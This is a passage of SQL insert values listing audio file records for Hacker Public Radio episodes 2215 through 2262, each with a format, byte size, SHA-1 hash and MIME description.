(2215,'hpr2215.mp3','mp3',5388936,'a4bfeaf6ffdb0cf1de696f01d56d5a2452edeb8a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2215,'hpr2215.ogg','ogg',6413252,'06fa9e463370b774e9b1d3f6f3c4863a95e45af3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2215,'hpr2215.spx','spx',2406436,'25bf3545fd003d5d160db63e6612913c514ccaa8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2216,'hpr2216.mp3','mp3',9027040,'ba3025eb90e3588984cf7a3ac7c7f0a34083efc4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2216,'hpr2216.ogg','ogg',9196460,'db81fc13fc84f044d70124404515161ba0acffa5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2216,'hpr2216.spx','spx',4031305,'c740554a47df715e85b00a7a07c8abe75ce57c41','application/ogg; charset=binary','Ogg data, Speex audio'),
(2217,'hpr2217.mp3','mp3',3876945,'574b8fc00bbc808f1fc4c2f1d85e9f7f4a87b15e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2217,'hpr2217.ogg','ogg',4005672,'4ef97b52311816a8e89318e0708fa5449a766ed6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2217,'hpr2217.spx','spx',1731213,'cabcb849f7221d0f2be18924bf6800194976f589','application/ogg; charset=binary','Ogg data, Speex audio'),
(2218,'hpr2218.mp3','mp3',7283930,'98732ab684cc7177b780ea541f62562be7186087','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2218,'hpr2218.ogg','ogg',8330855,'5542ade318454a836b77cb618bc2dac37ee3322a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2218,'hpr2218.spx','spx',3252825,'58d4b4810e94cd0a53f7911c0cc7d43ebd4bc523','application/ogg; charset=binary','Ogg data, Speex audio'),
(2219,'hpr2219.mp3','mp3',29115229,'6aaade167673279f66c7289afdf91996b207f7d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2219,'hpr2219.ogg','ogg',27308671,'3185fd758b3f45fcdb7793b6cc455e91cfa456ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2219,'hpr2219.spx','spx',13002908,'0b2877df507bba06a513eb31f830690587054fe4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2220,'hpr2220.mp3','mp3',14798211,'48b1e28dac1ef8424835a48741562ecf030cfc54','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2220,'hpr2220.ogg','ogg',16173582,'fbb83f875f3f23bca5ab979c8a3c36ddbc69c0f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2220,'hpr2220.spx','spx',6608833,'ab9593b38ad538fd669b365e3035fbf88411fa3a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2221,'hpr2221.mp3','mp3',42072166,'35a5937ca9a12d64767f91f8eca490101a1b2cf4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2221,'hpr2221.ogg','ogg',41920645,'7c164d89aec8783a9e626d242e86ec22c289ee32','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2221,'hpr2221.spx','spx',18789667,'1c1dfa768a864aada50eda0ebda36c2f4dde45aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(2222,'hpr2222.mp3','mp3',43431563,'f5ac4db5317bef84261fd8c9d1a4827783b6331e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2222,'hpr2222.ogg','ogg',49153667,'74c65966ba859897697dc93eee0aa49ada82036f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2222,'hpr2222.spx','spx',19396756,'e1d0383498fd014273f5bddcebde03853085e2fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2223,'hpr2223.mp3','mp3',55042481,'9a6fb31dbc528c4dcbbbed1af85cd9fb85037ce0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2223,'hpr2223.ogg','ogg',63733250,'0c919f571ffc0859de0483c7e50bd9b17f60f7e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2223,'hpr2223.spx','spx',24582306,'bd013063d4a081775f77027906a0e6bdeb432e92','application/ogg; charset=binary','Ogg data, Speex audio'),
(2224,'hpr2224.mp3','mp3',37434274,'40a12f567cffc8f62db79bd9499f20958a9cc301','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2224,'hpr2224.ogg','ogg',43159403,'007b416b80e09ce50b601472ce062c07a8df49cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2224,'hpr2224.spx','spx',16718254,'b473924fe0334cbd464d96c9355d01b3645f7e9a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2225,'hpr2225.mp3','mp3',28813870,'7473e269e10eeea9d00f1c42939d14174bf6dbf5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2225,'hpr2225.ogg','ogg',33223419,'783d5c3ea3c6796c1ac8a293abcd55c201e6b3dc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2225,'hpr2225.spx','spx',12868269,'9aec9f35244110545f27cc420921662e7bd42f54','application/ogg; charset=binary','Ogg data, Speex audio'),
(2226,'hpr2226.mp3','mp3',33611999,'663346cce8353757b4be77b8804eb80cc5d8ef38','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2226,'hpr2226.ogg','ogg',36661277,'f42fb7d0032ac1d7682ab60bb2358f870d764a2b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2226,'hpr2226.spx','spx',15011162,'5ed730ed7527c7c9579c1476cdc91a812b1802f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2227,'hpr2227.mp3','mp3',41115258,'df9bce75a888b89877310c8c095471d82ee19dd9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2227,'hpr2227.ogg','ogg',46733561,'a9b052f7fee60c4c1bc5670593e9c752d7b3f409','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2227,'hpr2227.spx','spx',18362228,'fd331daf284987af885b13efc5e3b80dc3615737','application/ogg; charset=binary','Ogg data, Speex audio'),
(2228,'hpr2228.mp3','mp3',9540705,'590aeeb9cf740ec5e4460899a6aec0fe2008741c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2228,'hpr2228.ogg','ogg',10451073,'22b2b072e01ab2dd9b2e1e9b7763af0236ed6514','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2228,'hpr2228.spx','spx',4260737,'2e5b1cb54b1ba79661e5cd0661a6dfa5ce652232','application/ogg; charset=binary','Ogg data, Speex audio'),
(2229,'hpr2229.mp3','mp3',13905036,'9e33b76c690c56e7342157488d70055292541b1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2229,'hpr2229.ogg','ogg',15409224,'3b3ef1ae6d9034c977a1bcb0e9e1824ad0af3602','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2229,'hpr2229.spx','spx',6209879,'005f718035c7934da4f5b664fc7c50d2eafbb99d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2230,'hpr2230.mp3','mp3',16834741,'3c8fbbdd07edcae5bf1c4a3e6f51a33408e10f6e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2230,'hpr2230.ogg','ogg',18123116,'3cdbd7709a24bd876d24d885f00a1f9a6cd6d43c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2230,'hpr2230.spx','spx',7518306,'ef856f7df65faecec70a01bae3e27b3ea7ff46bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2231,'hpr2231.mp3','mp3',6225240,'084d80e30be099da6920514a239fc0f78cb5f72a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2231,'hpr2231.ogg','ogg',6719251,'c58e567055e1bce62fbae675f4ea1af285ccbc10','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2231,'hpr2231.spx','spx',2779994,'63ea8fa0309ef288e3b0058ce0a25bd9726c44ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(2232,'hpr2232.mp3','mp3',8720656,'1da2b2a0fd29b4bc898f774942b7b8ff92e9ee2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2232,'hpr2232.ogg','ogg',9615753,'89da22185be74ff791f3e712c6a022a76cfdfb35','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2232,'hpr2232.spx','spx',3894429,'0a1e5d2d5bf94050837201f8543f9e8243a9994d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2233,'hpr2233.mp3','mp3',11900509,'22e97ff1937d25a1e85a12ac4b66356f58653d1b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2233,'hpr2233.ogg','ogg',13097027,'366e20173a58ef65ecbfa4f9fddb20b19cb8ab8e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2233,'hpr2233.spx','spx',5314673,'eb75de6fc7aad847a8c83ca54d961f031b41c382','application/ogg; charset=binary','Ogg data, Speex audio'),
(2234,'hpr2234.mp3','mp3',5399979,'e95c40e4a146e1c377490a9b4a00fec8297293db','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2234,'hpr2234.ogg','ogg',5865247,'b692ce77bf951469e34c4592690d4b82e7b9a888','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2234,'hpr2234.spx','spx',2411400,'598a2dceaecf497267c9dd5e531c9f66d8a1aa59','application/ogg; charset=binary','Ogg data, Speex audio'),
(2235,'hpr2235.mp3','mp3',15842069,'dce5a6bf5b9dcbd9bb6e652af771492ba8f51ad7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2235,'hpr2235.ogg','ogg',17014065,'b9e8e41dee47e2c822e87f5ac211b22bc4a74ece','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2235,'hpr2235.spx','spx',7074968,'97bec1d096af653a2dc94faa3e238135c35e8a52','application/ogg; charset=binary','Ogg data, Speex audio'),
(2236,'hpr2236.mp3','mp3',13200372,'ec675017f95caafb040eb2c7f994a2421a61b6a5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2236,'hpr2236.ogg','ogg',13907698,'973d794c981e8030205800362ccb73fc09580352','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2236,'hpr2236.spx','spx',5895212,'3e436b3f1571849b48b2b613e10999cd8b2baa0e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2237,'hpr2237.mp3','mp3',3977024,'07abd2112e0db15afcaba0e1ba6bdeea73f190cd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2237,'hpr2237.ogg','ogg',4592902,'65f80413147d17fe74cf811936775bb16d6190cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2237,'hpr2237.spx','spx',1775934,'817d0d4fbb96829f4488bd6b4465ed4af5c26bdf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2238,'hpr2238.mp3','mp3',20111499,'84ec856b8aa04210eab489952ef8a7cbd3a0f792','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2238,'hpr2238.ogg','ogg',22503439,'be52fe68132884c42b224795ef6a0e125aa1e788','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2238,'hpr2238.spx','spx',8981713,'52207a68b86151c96ed77ba541eab384c0da4e3c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2239,'hpr2239.mp3','mp3',7062823,'ff236dbe5fd1c97c626cd0a343f9fcfecc4d69cd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2239,'hpr2239.ogg','ogg',8154834,'640d0aa88872b5f5f98ec42601796d5bb5a6b20f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2239,'hpr2239.spx','spx',3153977,'aac86e1bdc0e673b8a65150a7aa99720350a7ea6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2240,'hpr2240.mp3','mp3',26822890,'0c5ce37ce7bfa2b915f6638e3910423a320a592c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2240,'hpr2240.ogg','ogg',28039849,'0c9a9279ee99a10ad88cae2935bd1e0bc7445045','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2240,'hpr2240.spx','spx',11979159,'79777209521f98d7ec0dec3a132b352471a7d0f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2241,'hpr2241.mp3','mp3',17933144,'1747cc09948faa771a02b9dea15d7e418ecf3878','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2241,'hpr2241.ogg','ogg',17055348,'d28e7a89163893eb181b9518acb8893a3d3d7ee4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2241,'hpr2241.spx','spx',8008860,'648007ca4b451c370a79d6538fe86b18d8851c81','application/ogg; charset=binary','Ogg data, Speex audio'),
(2242,'hpr2242.mp3','mp3',6312645,'0be4af234a7b35f594db2d72311fd7318e39f978','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2242,'hpr2242.ogg','ogg',6304307,'9e9c1f63ea1fabb4cc89bbf26e93e5458b9f731d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2242,'hpr2242.spx','spx',2818984,'8c014cd615bc92ac3f39c04da9537c060617deea','application/ogg; charset=binary','Ogg data, Speex audio'),
(2243,'hpr2243.mp3','mp3',4941243,'daa8d292b49130eb9670ceeafe6be93fd472681b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2243,'hpr2243.ogg','ogg',5312256,'76a8fe82b844748e49da1286c81d18e1e4acc144','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2243,'hpr2243.spx','spx',2206591,'40a343d9e7031c1e31d03d368d65da3c21c2ea2a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2244,'hpr2244.mp3','mp3',10503447,'1e05265fcee026aa022686e0c3d26f4211afc9e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2244,'hpr2244.ogg','ogg',11480886,'5b42d3b43f019b0de96c6eebfd25e20710229376','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2244,'hpr2244.spx','spx',4690671,'8bce306946a293f9bd5d5f359936f68afe6a41de','application/ogg; charset=binary','Ogg data, Speex audio'),
(2245,'hpr2245.mp3','mp3',13642579,'b728f7290afef1ecaa28c88e1a670e9c8025e3a3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2245,'hpr2245.ogg','ogg',15512279,'7a84a974732d5c0cbff911a5f18e6062da6cce39','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2245,'hpr2245.spx','spx',6092661,'40cbdf3effb95cf20669c40f0d1c3431be53c11e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2246,'hpr2246.mp3','mp3',4251853,'ed4e5e7294e60e298fba3bfd48ac9ac8e2047139','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2246,'hpr2246.ogg','ogg',4770785,'5f8f2fd5e31ae615ceb40fbabc5dcd322d009815','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2246,'hpr2246.spx','spx',1898716,'32f954dc37f36692e5720400f62db30b86089532','application/ogg; charset=binary','Ogg data, Speex audio'),
(2247,'hpr2247.mp3','mp3',128040056,'fd46c92fce364dfbc4082713f7578386096d60df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2247,'hpr2247.ogg','ogg',124009791,'d03c4806a9cd599ee34b49298ff278a837d8f8c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2247,'hpr2247.spx','spx',57183740,'773b89a955e670f662a63d44d021c658e60cb64a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2248,'hpr2248.mp3','mp3',116779198,'3851f7892df92c0e00952732ba90ee5fbbe7372e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2248,'hpr2248.ogg','ogg',118862079,'028626ac5bf38cdafa28be3df4c0159ebef6ee3c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2248,'hpr2248.spx','spx',52154486,'b35795a732a151fc1d2fab1356fd9f1b0b0a7799','application/ogg; charset=binary','Ogg data, Speex audio'),
(2249,'hpr2249.mp3','mp3',109296057,'6e4cd83b3ffaa971ef508d83e1008d9eeb6c2f04','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2249,'hpr2249.ogg','ogg',109578247,'a90846d0cc00e3637b5885043af269233dc9d968','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2249,'hpr2249.spx','spx',48812476,'8a84be323aca50c3be2b769a931668c365b1a08f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2250,'hpr2250.mp3','mp3',117372074,'26612466599b783bbacfa71180a6fc8e9ca2d455','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2250,'hpr2250.ogg','ogg',115951583,'a193c0f73648b200c10e5f5040d4f1e7a21b3d4c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2250,'hpr2250.spx','spx',52419313,'c968ed563ec02bc9a8ba8b93eab38e4ba5fda258','application/ogg; charset=binary','Ogg data, Speex audio'),
(2251,'hpr2251.mp3','mp3',82516367,'93336b1c0266757dc1ee27cdab2a465b1bcf21aa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2251,'hpr2251.ogg','ogg',80099541,'32f3249d8a46c315b30e7aa2e2a4e2ba2d9b34a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2251,'hpr2251.spx','spx',36852323,'921e78fe7bf37ee4c1c69b695077b298528a6757','application/ogg; charset=binary','Ogg data, Speex audio'),
(2252,'hpr2252.mp3','mp3',84036485,'6ee27e2ec54052268c8ff0be19958a441cef5153','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2252,'hpr2252.ogg','ogg',84206172,'eff7e96ca5ded87ca8e68b2d84cd4d3c4d0282a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2252,'hpr2252.spx','spx',37531241,'146c92ef798ee5cc52f8f79941617c429bd9b8c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2253,'hpr2253.mp3','mp3',7747437,'aa4fa312b1b12fa09cded38a74761843f26ca986','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2253,'hpr2253.ogg','ogg',8609678,'6183403407a5b6f76a4be4350cdc87d5b7a0fadf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2253,'hpr2253.spx','spx',3459754,'a49428f51a83eb61a1032285aecd97c4e0fdbf49','application/ogg; charset=binary','Ogg data, Speex audio'),
(2254,'hpr2254.mp3','mp3',27077055,'583fcaca61da9c020182e260357b89224f002fbf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2254,'hpr2254.ogg','ogg',33210075,'f0c142bb3c967bf434c9fb6663696901f21a5dc9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2254,'hpr2254.spx','spx',12092682,'833888e303539904bc7acf9edd1c87b55eb786b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(2255,'hpr2255.mp3','mp3',13658256,'dbbac1272762e56eebdffd1445b555b8856495f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2255,'hpr2255.ogg','ogg',15340601,'afec63faec6e90b4990162620431cc417a8656bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2255,'hpr2255.spx','spx',6099649,'10db4eb9bbafcb234b377808d4d3271fe5a46d31','application/ogg; charset=binary','Ogg data, Speex audio'),
(2256,'hpr2256.mp3','mp3',3283222,'b2aebd5beaef1e1c3c89adb8cda18571caa93aca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2256,'hpr2256.ogg','ogg',3495007,'8d81f5a140a4e91e806fb6fed062f280efcde1b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2256,'hpr2256.spx','spx',1466019,'aa95e05bd40062188673582fa6623ef211521baa','application/ogg; charset=binary','Ogg data, Speex audio'),
(2257,'hpr2257.mp3','mp3',3051238,'f99708a0b1fba1d023d1feb92b6e47028e409094','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2257,'hpr2257.ogg','ogg',3375798,'b70d00da151054bbcceb48f2caa06c094c722d96','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2257,'hpr2257.spx','spx',1362475,'5d500429cd50a02650b7458c13d9e7534d2b7f4d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2258,'hpr2258.mp3','mp3',3035977,'9b5c4e9d8b71ffaabab6160e8f1ef6eca3b2b96d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2258,'hpr2258.ogg','ogg',3264585,'cbaefe148e2bec53e6b1f8cce906e971f4c557d4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2258,'hpr2258.spx','spx',1355599,'652904b5783963cbd08ae592f5d6b9c16facb06d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2259,'hpr2259.mp3','mp3',8337647,'c75103a3c0dea97b66733b7d88af12433d6e51ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2259,'hpr2259.ogg','ogg',9881355,'4542770087813e384284cea1ca9c8249a151c9a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2259,'hpr2259.spx','spx',3723497,'56f80abcd61e78b1a17210ce3446f0ea284debb4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2260,'hpr2260.mp3','mp3',12907389,'e17f2835f2e2f4e9bb59737d99d80a5be124e76f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2260,'hpr2260.ogg','ogg',14582650,'95247130b1333f9df494e86dff444290bbe97809','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2260,'hpr2260.spx','spx',5764310,'dd59bba5cb5439d3e8c3a4c9aa29ebe58e633ffe','application/ogg; charset=binary','Ogg data, Speex audio'),
(2261,'hpr2261.mp3','mp3',34899564,'1c2dac28c556edc45f9f013cc64e61e773a3bccb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2261,'hpr2261.ogg','ogg',33731438,'af64b0f69186f177de5ec9fa15e7b452b73f0e91','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2261,'hpr2261.spx','spx',15586213,'24b600b617c949f1cfc59bce920c56ec6f112e01','application/ogg; charset=binary','Ogg data, Speex audio'),
(2262,'hpr2262.mp3','mp3',3665870,'8559a76b2cd4ea0e6c8727378e1d054ee774595b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2262,'hpr2262.ogg','ogg',4278380,'b7b6fb96d2b3aecbf758d34a8f2be6f30979ca93','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2262,'hpr2262.spx','spx',1636893,'2b3526e6824d47fbb94b32110c7019e3075252c8','application/ogg; charset=binary','Ogg data, Speex audio'),
